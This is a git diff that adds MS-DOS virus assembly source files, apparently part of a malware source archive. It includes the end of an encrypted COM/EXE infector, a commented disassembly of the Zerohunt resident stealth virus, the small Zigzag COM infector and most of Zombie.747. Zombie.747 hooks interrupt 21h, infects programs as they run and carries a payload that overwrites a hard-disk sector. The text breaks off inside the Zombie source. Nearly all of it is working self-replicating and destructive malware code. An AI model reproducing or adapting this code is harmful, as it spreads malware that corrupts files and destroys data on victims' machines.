file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1ah] ; Filesize in DTA + cmp ax,(heap-decrypt) ; Is it too small? + jb find_next + + mov bx,word ptr [bp+buffer+1] ;get jmp location + add bx,(heap-decrypt+1) ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax,(heap-decrypt) ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,(heap-decrypt) ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control +data00 dw 2000,8,2500,8,2000,14,2500,14 + ;dw 2500,14,3000,4,4000,24,3500,12,4000,6 + ;dw 3500,12,4000,4,4500,10,5000,4 + ;dw 5500,15,3000,8,3500,20,3000,8,3500,50 + ;dw 2000,8,2500,8,2000,14,2500,14 + ;dw 2500,14,3000,4,4000,24,3500,12,4000,6 + ;dw 3500,12,4000,4,4500,10,5000,4 + ;dw 5500,15,3000,8,3500,20,3000,8,3500,50 + ;dw 2000,8,2500,8,2000,14,2500,14 + ;dw 2500,14,3000,4,4000,24,3500,12,4000,6 + ;dw 3500,12,4000,4,4500,10,5000,4 + ;dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 0 + +data_6 db 9 + db 10h, 19h, 45h, 18h, 19h, 1Bh + db 01h,0D5h,0CDh,0CDh,0B8h, 04h + db 0F3h, 09h,0A9h, 04h, 9Dh + db 9 + db 0AAh, 04h,0F2h, 01h,0D5h,0CDh + db 0CDh,0B8h, 19h, 1Ch, 18h, 19h + db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh + db 20h, 09h, 5Ch, 04h,0F6h, 09h + db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah + db 0CDh,0B8h, 19h, 13h, 18h, 19h + db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh + db 19h, 03h, 0Fh,0D2h,0B7h, 19h + db 04h,0D6h, 1Ah, 03h,0C4h,0B7h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 04h, 01h,0D4h, 1Ah + db 0Eh,0CDh,0BBh, 19h, 03h, 18h + db 19h, 03h,0BAh, 19h, 12h, 07h + db 0BAh,0BAh, 19h, 04h,0BAh, 19h + db 03h,0BDh, 20h,0BAh,0BAh, 19h + db 02h,0D3h,0B7h, 19h, 13h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h + db 04h, 19h, 07h, 08h,0BAh,0B6h + db 19h, 04h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 03h,0BAh + db 19h, 07h, 0Bh, 1Ah, 02h, 04h + db 19h, 08h, 01h,0BAh, 19h, 03h + db 18h,0D6h,0C4h,0C4h, 20h,0BAh + db 19h, 12h, 08h,0BAh,0D3h, 19h + db 02h,0B7h, 20h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh,0D3h, 19h, 02h + db 0D6h,0BDh, 19h, 13h, 01h,0BAh + db 20h,0C4h,0C4h,0B7h, 18h,0D3h + db 0C4h,0C4h,0C4h,0BDh, 19h, 12h + db 08h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D0h, 1Ah, 03h,0C4h,0BDh + db 19h, 14h, 01h,0D3h,0C4h,0C4h + db 0C4h,0BDh, 18h, 04h, 1Ah, 04h + db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah + db 04h,0C4h,0B7h, 20h,0D6h, 1Ah + db 03h,0C4h,0B7h, 20h,0D2h,0D2h + db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h + db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h + db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h + db 0D2h,0B7h, 19h, 04h,0D2h, 20h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 03h, 04h, 1Ah, 04h + db 3Ch, 18h, 01h,0D6h,0C4h,0C4h + db 0C4h,0B7h, 19h, 07h, 07h,0D6h + db 0C4h,0BDh + dd 319BA20h ; Data table (indexed access) + db 0BDh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh, 19h, 03h,0BDh + db 20h,0BAh,0BAh, 19h, 04h,0BAh + db 20h, 20h,0BAh,0BAh, 19h, 02h + db 0BAh, 19h, 03h, 01h,0D6h,0C4h + db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h + db 0C4h, 20h,0BAh, 19h, 06h, 08h + db 58h, 19h, 03h,0C7h,0C4h,0B6h + db 19h, 03h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 04h,0BAh + db 20h, 20h,0BAh,0B6h, 19h, 02h + db 0BAh, 19h, 03h, 01h,0BAh, 20h + db 0C4h,0C4h,0BDh, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D6h,0C4h + db 0BDh, 19h, 04h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh, 19h, 05h,0BAh + db 19h, 05h,0BAh, 19h, 03h,0B7h + db 20h,0BAh,0D3h, 19h, 02h,0B7h + db 20h,0BAh, 20h, 20h,0BAh,0D3h + db 19h, 02h,0BAh, 19h, 03h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D3h, 1Ah + db 04h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0BDh, 19h + db 05h,0BDh, 19h, 05h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D0h, 20h + db 20h,0D0h, 19h, 03h,0D0h, 19h + db 03h, 01h,0BAh, 19h, 03h, 18h + db 19h, 03h,0C8h, 1Ah, 15h,0CDh + db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h + db 0CDh,0BCh, 19h, 03h, 18h, 19h + db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h + db 0F7h, 09h, 2Fh, 04h,0EAh, 09h + db 5Ch, 04h, 1Ah, 03h,0F7h, 01h + db 0CDh,0BEh, 19h, 1Bh, 18h + +data_1e equ 0A0h +dot_dot db '..',0 +heap: +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +finish label near +end entry_point + + + +; Yeah, the main problem is reproducing the effect in an infected file so +; thta when IT runs, IT too will display... That's the GLITCH... +; +; Also, I had stuck INT 27H in somewhere around the EXIT .EXE... +; I don't remember, but it would go resident and suck up memory, yet +; since it hooked no interuppts, it just sat there... +; Feel free to STUDY this code and distribute it feely for educational +; purposes, because in spite of the kidding...I don't "hAcK"... for lack +; of a better word...--->>pAgE<<--- + diff --git a/MSDOS/Virus.MSDOS.Unknown.zerohunt.asm b/MSDOS/Virus.MSDOS.Unknown.zerohunt.asm new file mode 100644 index 00000000..d02fc883 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.zerohunt.asm @@ -0,0 +1,270 @@ +CSEG SEGMENT + ASSUME CS:CSEG, ES:CSEG, SS:CSEG + org 100h + +; Zerohunt virus +; Disassembly by PRiEST +; 4-15-93 + + +CMC_JMP equ 0e9f5h ;This is the virus's signature + ;which is located at the beginning + ;of infected files, it consist of + ;a CMC and a JMP + +Mem_Loc equ 21ch ;offset of virus in memory + +Zero_Size equ offset Zero_End-offset Zero_Start ;Size of virus +Zero_File_Size equ offset Zero_File_End-offset Zero_Start ;Size of virus in + ;file + +IVT_21 equ 21h*4h ;offset of Int 21h in IVT +IVT_24 equ 24h*4h ;offset of Int 24h in IVT + +Mem_Size equ 413h ;offset of Memory size in BIOS area + +Zerohunt: jmp Zero_Start ;Dummy code + nop + + org 21ch ;set new origin + +Zero_Start: call $+3 ;Push IP + pop si ;pop IP into SI + mov es,ax ;ES = segemnt zero + mov di,Mem_Loc ;Offset of memory resident code + cmp byte ptr es:[di],0e8h ;This instructions checks to see + ;if the virus is already in memory + ;by looking for the call at + ;Zero_Start in the IVT + je Jump_File ;return control to file if in memory + mov cx,Zero_Size ;size of virus + sub si,3h ;Find offset of Zero_Start + rep movsb ;copy us to IVT + push es + pop ds ;DS = 0 + mov bx,IVT_21 ;offset of Interrupt 21 in the IVT + les si,ds:[bx] ;Get seg:off of Int 21h + mov word ptr ds:[bx],offset Zero_21 ;Point Int 21h to us + mov word ptr ds:[bx+2h],ax ;point Int 21h to segment 0 + mov word ptr ds:[Old_21+2h],es ;Save Int 21h + mov word ptr ds:[Old_21],si ;Save Int 21h + mov al,40h ;40h k + mov bx,ds:[Mem_Size] ;Get amount of memory in k's + sub bx,ax ;subtract 40h to get segment of mem + mul bx ;find address of free memory + mov word ptr ds:[High_Mem],ax ;Save segment address + xor ax,ax ;Zero out AX +Jump_File: push cs + push cs + pop ds ;Restore DS and ES + pop es + +;Self-modifying code that restores the first 4 bytes of an infected .com +;file. The Jump_Data defines where to jump when the virus is done, this +;is because it only infects files that have a JMP (0e9h) as the first +;instruction, any other file gets ignored. + + db 0c7h,6,0,1 ;mov word ptr ds:[100h], +File_Data dw 20cdh ;quit to DOS + + db 0c7h,6,2,1 ;mov word ptr ds:[102h], +File_Data_2 dw 9090h ;NOPs + + db 0e9h ;Jump + +;This is where the infected program originally jumped to, right now it's +;set back to the beginning so that it will terminate to DOS. + +Jump_Data dw 0-(offset Jump_Data_End-offset Zero_Start) +Jump_Data_End: ;used to find offset of Zero_Start + +Random_Read: pushf ;Keep stack in order when IRET + push cs ;return to this segment + call Jump_21 ;Call DOS to read file + pushf + push ax + push es + push bx + push ds ;save registers + mov ah,2fh ;Get address of DTA into ES:BX + int 21h + push es + pop ds ;DTA segment in DS + cmp word ptr ds:[bx],CMC_JMP ;Is this file infected? + jne Skip_Block_Clean + call Stealth ;Hide virus +Skip_Block_Clean:pop ds + pop bx + pop es + pop ax ;Pop registers + jmp Fix_Flags_Ret ;Fix flags and return + +Handle_Read: pushf ;Keep stack right + push cs ;return to this segment + call Jump_21 + pushf ;Save flags + jb Fix_Flags_Ret + xchg dx,bx ;Address of data read into BX + cmp word ptr ds:[bx],CMC_JMP ;File infected? + jne Fix_Flags_DX + cmp word ptr ds:[bx+2h],ax ;is it valid (? I guess) + jnb Fix_Flags_DX + call Stealth ;Hide virus + +Fix_Flags_DX: xchg dx,bx ;restore registers +Fix_Flags_Ret: popf ;POP flags + push bp + push ax ;Save registers + pushf + pop ax ;tranfer flags to ax + mov bp,sp ;get stack frame + mov ss:[bp+8h],ax ;Save flags directly into stack + pop ax + pop bp ;POP registers + iret + +Stealth: push si ;Save register + mov si,bx ;Where code was read to + add si,ds:[bx+2h] ;Where virus is in program + push word ptr ds:[si+File_Data-Zero_Start] ;original bytes + pop word ptr ds:[bx] ;restore them + push word ptr ds:[si+File_Data_2-Zero_Start] ;original bytes + pop word ptr ds:[bx+2h] ;restore them too + add si,4h ;fix for jump + push ax + push cx ;save registers + mov cx,Zero_Size ;Size of virus + xor al,al ;Zero out AL +Stealth_Loop: mov byte ptr ds:[si],al ;Remove virus from file + inc si + loop Stealth_Loop + pop cx + pop ax + pop si ;Pop registers + retn + + +Zero_21: cmp ah,21h ;Random read? + je Random_Read + cmp ah,27h ;Random Block read? + je Random_Read + cmp ah,3fh ;Handle read? + je Handle_Read + cmp ax,4b00h ;Execute program? + je Infect + jmp Jump_21 ;Jump to original Int 21h + +Infect: push es ;save registers + push ax + push bx + push dx + push ds + mov ax,3d02h ;open file for writing + int 21h + xchg ax,bx ;handle into BX + mov ah,3fh ;read from file + xor cx,cx ;Zero CX + mov ds,cx ;zero into DS + inc cx ;read one byte + mov dx,offset Buffer ;read to variable "buffer" + mov si,dx ;same into SI + pushf ;Keep stack straight after IRET + push cs ;Push CS for Far return + call Jump_21 ;Call original Interrupt 21 + cmp byte ptr ds:[si],0e9h ;Is the first instruction a jump? + je File_Has_Jump + jmp Close_File ;File is not valid, close and quit +File_Has_Jump: mov ax,4200h ;Set position from start of file + dec cx ;CX now equals 0 + xor dx,dx ;DX also equals 0 + int 21h ;set file position to start of file + pop ds + pop dx ;POP location of file name + push dx + push ds ;PUSH them back + push bx ;Save file handle number + push cs + pop es ;Set ES to our CS + mov bx,offset High_Mem ;offset of variable High_Mem + mov ax,4b03h ;Load file + int 21h + mov ds,es:[bx] ;Get address of High memory + mov cx,Zero_File_Size ;size of virus in File + mov dx,cx ;same into DX + mov bx,ds:[1h] ;Get jump address + mov bp,bx ;I don't recall BP being saved!!! + xor al,al ;zero out AL +Search_Loop: dec bx ;decrement pointer + pop di ;Pop handle + je Close_File_DI + push di ;Save handle again + cmp byte ptr ds:[bx],al ;search for zeros + je Search_Looper + mov cx,dx ;reset counter +Search_Looper: loop Search_Loop ;Scan for size of virus + mov di,bp ;Get jump address of file + sub di,bx ;minus location of zeros + sub di,offset Jump_Data_End-offset Zero_Start ;Make jump + mov word ptr cs:[Jump_Data],di ;Save original jump address + push word ptr ds:[0] ;save original bytes + pop word ptr cs:[File_Data] ;Into our own code + push word ptr ds:[2h] ;again with bytes 3 and 4 + pop word ptr cs:[File_Data_2] + mov si,Mem_Loc ;location of virus in memory + mov cx,dx ;Size of virus in file + dec cx ;Size of virus + push ds + pop es ;ES = segment of free memory + push cs + pop ds ;DS = our segment + mov di,bx ;offset of free space in file + rep movsb ;copy virus into file (I gather) + sub bx,4h ;subtract for jump to virus + mov word ptr es:[2h],bx ;Fix jump + mov word ptr es:[0],CMC_JMP ;CMC, then JMP + mov di,0cfcfh + lds si,ds:[IVT_24] ;fetch address of Int 24h + xchg di,ds:[si] ;what the hey!? Computer should + ;crash if Int 24h is triggered! + pop bx ;POP handle number + mov ax,5700h ;Get date + int 21h + push cx + push dx ;save original date/time of file + push es + pop ds ;DS = segment of free memory + mov ah,40h + mov cx,bp ;size of virus + xor dx,dx + int 21h ;write to file, I guess the virus + pop dx + pop cx ;POP the date/time + mov ax,5701h ;restore date/time to file + int 21h + xchg di,bx ;dummy exchange if infection ok +Close_File_DI: xchg di,bx ;retore handle from DI for closing +Close_File: mov ah,3eh ;close file + int 21h + lds si,cs:[IVT_24] ;Get Int 24h address from IVT + cmp byte ptr ds:[si],0cfh ;Is it to us? + jne No_24_Restore ;I know, they're Shitty labels + xchg di,ds:[si] ;restore Int 24h +No_24_Restore: pop ds + pop dx + pop bx + pop ax + pop es ;Pop all registers + +Jump_21: db 0eah ;jmp seg:off +Old_21 dd ? ;segment offset of Int 21h + +Buffer db ? + +Zero_End: + +High_Mem dw ? ;Segment of availible memory + +Zero_File_End: + +CSEG ENDS + END Zerohunt diff --git a/MSDOS/Virus.MSDOS.Unknown.zigzag.asm b/MSDOS/Virus.MSDOS.Unknown.zigzag.asm new file mode 100644 index 00000000..e6948914 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.zigzag.asm @@ -0,0 +1,85 @@ + + + +code segment + assume cs:code, ds:code, es:code, ss:nothing + + org 0100h + + +start: db 8Bh,0DBh + + mov ah,4Eh ;find a file + mov cx,0000h ; + mov dx,offset filemask ;load searchmask, .COM + +loopy: int 21h + + jb effect ;no files, do effect + call infect + + jnz exit + mov ah,4Fh ;find next file + jmp short loopy + ;keep looping around + +exit: mov ax,4C00h + int 21h +effect: mov ax,0040h ;no files to infect + mov es,ax ;slant the text on the screen + mov di,004Ah + mov al,51h + stosb + int 20h ;and exit + +infect: mov ax,3D02h ;open host, r/w with handle + mov dx,009Eh + + int 21h + xchg ax,bx ;exchange handle to ax + mov ah,3Fh ;read from file + mov cx,0002h ;two bytes + mov dx,offset ID ;put them in ID buffer + + int 21h + cmp Word Ptr ds:[016Dh],0DB8Bh + ;compare with virus ID + pushf + jz close_file + cwd + mov cx,dx ; + mov ax,4200h ;reset file pointer + ;to beginning of file + int 21h + mov al,00h ; + mov ah,57h ;get file date/time + + int 21h ; + push cx ;store them + push dx ; + mov ah,40h ;write virus + mov cx,007Fh ;to file + mov dx,0100h ;start at beginning + + int 21h ; + mov al,01h ;restore file date/time + pop dx ;from the stack + pop cx ; + mov ah,57h ; + int 21h ; +close_file: + + mov ah,3Eh ;close file + int 21h ; + popf ; + ret ;exit + + +ID: dw 0000h +filemask: db "*.COM" ;searchmask + db 00h + db "*ZZ* v 1.0" + +code ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.zombie.asm b/MSDOS/Virus.MSDOS.Unknown.zombie.asm new file mode 100644 index 00000000..afcc556b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.zombie.asm @@ -0,0 +1,338 @@ +Zombie + + +Disassembly by Darkman/29A + Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at + load and execute program, except COMMAND.COM, by appending the virus to the + infected COM file. + To compile Zombie.747 with Turbo Assembler v 4.0 type: +TASM /M ZOMBI747.ASM +TLINK /t /x ZOMBI747.OBJ + + +.model tiny +.code + org 100h ; Origin of Zombie.747 +code_begin: + call crypt_virus + nop + nop + nop + nop + nop +virus_begin: + call delta_offset +delta_offset: + pop bp ; Load BP from stack + sub bp,03h ; BP = delta offset + jmp virus_begin_ +stack_end: +stack_ db 7ah dup(?) ; Stack +stack_begin: +int21_addr dd ? ; Address of interrupt 21h +virus_seg dw ? ; Segment of virus +stack_seg dw ? ; Stack segment +stack_ptr dw ? ; Stack pointer +infect_off dw offset infect_file-offset virus_begin +infect_mark db 04h dup(?) ; infection mark +infect_count dw ? ; Infection counter +virus_offset equ word ptr $+01h ; Offset of virus +infect_code db 0e9h,?,? ; JMP imm16 (opcode 0e9h) +origin_code db 0cdh,20h,? ; Original code of infected file +code_begin_ dw 100h ; Offset of beginning of code +int21_virus proc near ; Interrupt 21h of Zombie.747 + pushf ; Save flags at stack + cmp ax,4b00h ; Load and execute program? + je load_and_exe ; Equal? Jump to load_and_exe + cmp ax,4b69h ; Zombie.747 function? + je virus_functi ; Equal? Jump to virus_functi + popf ; Load flags from stack + jmp dword ptr cs:[offset int21_addr-offset virus_begin] + endp +virus_functi: + mov bx,ax ; Already resident + popf ; Load flags from stack + iret ; Interrupt return! +load_and_exe: + mov cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin + call setup_stack + popf ; Load flags from stack + jmp dword ptr cs:[offset int21_addr-offset virus_begin] +setup_stack proc near ; Setup stack of the virus + mov cs:[offset stack_seg-offset virus_begin],ss + mov cs:[offset stack_ptr-offset virus_begin],sp + mov ss,cs:[offset virus_seg-offset virus_begin] + mov sp,offset stack_begin-offset virus_begin + push ax bx cx dx es ds si di bp + call cs:[offset infect_off-offset virus_begin] + cmp word ptr cs:[offset infect_count-offset virus_begin],10h + jbe load_stack ; Below or equal? Jump to load_stack + call payload +load_stack: + pop bp di si ds es dx cx bx ax + mov ss,cs:[offset stack_seg-offset virus_begin] + mov sp,cs:[offset stack_ptr-offset virus_begin] + ret ; Return! + endp +payload proc near ; Payload of the virus + mov si,offset crypt_begin-offset virus_begin + mov cx,(crypt_end-crypt_begin) +decrypt_loop: + not byte ptr [si] ; Decrypt a byte + inc si ; Increase index register + loop decrypt_loop +crypt_begin: + mov ax,303h ; Write disk sector(s) + db 31h,0dbh ; XOR BX,BX + mov es,bx ; ES:BX = pointer to data buffer + mov cx,02h ; CX = sector- and cylinder number + mov dx,80h ; DX = drive- and head number + int 13h +crypt_end: + mov si,offset crypt_begin-offset virus_begin + mov cx,(crypt_end-crypt_begin) +encrypt_loop: + not byte ptr [si] ; Encrypt a byte + inc si ; Increase index register + loop encrypt_loop + ret ; Return! + endp +examine_file proc near ; Examine file + cld ; Clear direction flag +find_dot: + lodsb ; AL = byte of filename + cmp al,'.' ; Found the dot in the filename + je examine_fil_ ; Equal? Jump to examine_fil_ + or al,al ; End of filename? + loopnz find_dot ; Not zero? Jump to find_dot + jz examine_exit ; Zero? Jump to examine_exit +examine_fil_: + mov ax,[si-06h] ; AX = word of filename + or ax,2020h ; Lowcase word of filename + cmp ax,'mm' ; COMMAND.COM? + je examine_exit ; Equal? Jump to examine_exit + lodsw ; AX = word of extension + or ax,2020h ; Lowcase word of extension + cmp ax,'oc' ; Correct extension? + jne examine_exit ; Not equal? Jump to examine_exit + lodsb ; AL = byte of extension + or al,20h ; Lowcase byte of extension + cmp al,'m' ; Correct extension? + jne examine_exit ; Not equal? Jump to examine_exit + clc ; Clear carry flag + ret ; Return! +examine_exit: + stc ; Set carry flag + ret ; Return! + endp +set_file_pos proc near ; Set current file position + xor cx,cx ; Zero CX + or dx,dx ; Zero DX? + jns set_file_po_ ; Positive? Jump to set_file_po_ + not cx ; Invert each bit of low-order wor... +set_file_po_: + mov ah,42h ; Set current file position + int 21h + ret ; Return! + endp +infect_file proc near ; Infect COM file + mov si,dx ; SI = offset of filename + call examine_file + jnc open_file ; No error? Jump to open_file + jmp infect_exit_ +open_file: + mov ax,3d02h ; Open file (read/write) + int 21h + jnc read_file ; No error? Jump to read_file + jmp infect_exit_ +read_file: + mov bx,ax ; BX = file handle + mov dx,cs ; DX = code segment + mov ds,dx ; DS " " " + mov ah,3fh ; Read from file + mov cx,03h ; Read three bytes + mov dx,offset origin_code-offset virus_begin + int 21h + jnc examine_mark ; No error? Jump to examine_mark + jmp close_file +examine_mark: + mov dx,-28h ; DX = low-order word of offset fr... + mov al,02h ; Set current file position (EOF) + call set_file_pos + jc close_file ; Error? Jump to close_file + nop + nop + nop + mov ah,3fh ; Read from file + mov cx,04h ; Read four bytes + mov dx,offset infect_mark-offset virus_begin + int 21h + jc close_file ; Error? Jump to close_file + nop + nop + nop + cmp word ptr ds:[offset infect_mark-offset virus_begin],'oZ' + jne calc_offset ; Not equal? Jump to calc_offset + nop + nop + nop + cmp word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm' + je close_file ; Previosly infected? Jump to clos... + nop + nop + nop +calc_offset: + xor dx,dx ; Zero DX + mov al,02h ; Set current file position (EOF) + call set_file_pos + jc close_file ; Error? Jump to close_file + nop + nop + nop + sub ax,03h ; AX = offset of virus + mov ds:[offset virus_offset-offset virus_begin],ax + mov ax,5700h ; Get file's date and time + int 21h + push cx dx ; Save registers at stack + mov ah,40h ; Write to file + mov cx,(code_end-virus_begin) + xor dx,dx ; Zero DX + int 21h + jc infect_exit ; Error? Jump to infect_exit + nop + nop + nop + cmp cx,ax ; Written all of the virus? + jne infect_exit ; Not equal? Jump to infect_exit + nop + nop + nop + mov al,00h ; Set current file position (SOF) + xor dx,dx ; Zero DX + call set_file_pos + jc infect_exit ; Error? Jump to infect_exit + nop + nop + nop + mov ah,40h ; Write to file + mov cx,03h ; Write three bytes + mov dx,offset infect_code-offset virus_begin + int 21h + jc infect_exit ; Error? Jump to infect_exit + nop + nop + nop +infect_exit: + inc word ptr cs:[offset infect_count-offset virus_begin] + mov ax,5701h ; Set file's date and time + pop dx cx ; Load registers from stack + int 21h +close_file: + mov ah,3eh ; Close file + int 21h +infect_exit_: + ret ; Return! + endp +get_psp_own proc near ; Get PSP segment of owner or spec... + mov ah,52h ; Get list of lists + int 21h + mov bx,es:[bx-02h] ; BX = segment of first memory con... + mov es,bx ; ES = " " " " " + mov bx,es:[01h] ; BX = PSP segment of owner or spe... + ret ; Return! + endp +allocate_mem proc near ; Allocate memory + push es ; Save ES at stack + mov ax,cs ; AX = segment of PSP for current ... + dec ax ; AX = segment of Memory Control B... + mov es, ax ; ES = " " " " " + mov bx,es:[03h] ; BX = size of memory block in par... + pop es ; Load ES from stack + sub bx,cx ; Subtract number of paragraphs to... + dec bx ; BX = new size in paragraphs + mov ah,4ah ; Resize memory block + int 21h + jc allocat_exit ; Error? Jump to allocat_exit + nop + nop + nop + mov ah,48h ; Allocate memory + mov bx,cx ; BX = number of paragraphs to all... + int 21h + jc allocat_exit ; Error? Jump to allocat_exit + nop + nop + nop + push ax ; Save AX at stack + dec ax ; AX = segment of Memory Control B... + mov es,ax ; ES = " " " " " + push es ; Save ES at stack + call get_psp_own + pop es ; Load ES from stack + mov es:[01h],bx ; Store PSP segment of owner or sp... + pop es ; Load ES from stack + clc ; Clear carry flag +allocat_exit: + ret ; Return! + endp +virus_begin_: + mov ax,4b69h ; Zombie.747 function + xor bx,bx ; Zero BX + int 21h + cmp bx,4b69h ; Already resident? + je virus_exit ; Equal? Jump to virus_exit + nop + nop + nop + mov cx,(data_end-virus_begin+0fh)/10h + call allocate_mem + jc virus_exit ; Error? Jump to virus_exit + nop + nop + nop + mov si,bp ; SI = delta offset + xor di,di ; Zero DI + mov cx,(code_end-virus_begin) + cld ; Clear direction flag + rep movsb ; Move virus to top of memory + mov es:[offset virus_seg-offset virus_begin],es + push es ; Save ES at stack + mov ax,3521h ; Get interrupt vector 21h + int 21h + mov dx,es ; DX = segment of interrupt 21h + pop es ; Load ES from stack + mov word ptr es:[offset int21_addr-offset virus_begin],bx + mov word ptr es:[offset int21_addr+02h-offset virus_begin],dx + mov ax,2521h ; Set interrupt vector 21h + push es ; Save ES at stack + pop ds ; Load DS from stack (ES) + mov dx,offset int21_virus-offset virus_begin + int 21h +virus_exit: + mov ax,cs ; AX = segment of PSP for current ... + mov ds,ax ; DS = " " " " " " + mov es,ax ; ES = " " " " " " + lea si,origin_code ; SI = offset of origin_code + sub si,offset virus_begin + add si,bp ; Add delta offset to offset of co... + mov di,100h ; DI = offset of beginning of code + mov cx,03h ; Move three bytes + cld ; Clear direction flag + rep movsb ; Move the original code to beginning + lea bx,code_begin_ ; BX = offset of code_begin_ + sub bx,offset virus_begin + add bx,bp ; Add delta offset to offset of co... + jmp [bx] + db 'Zombie - Danish woodoo hackers (14AUG91)' +code_end: +data_end: +crypt_virus proc ; Encrypt payload of the virus + lea si,crypt_begin ; SI = offset of crypt_begin + mov 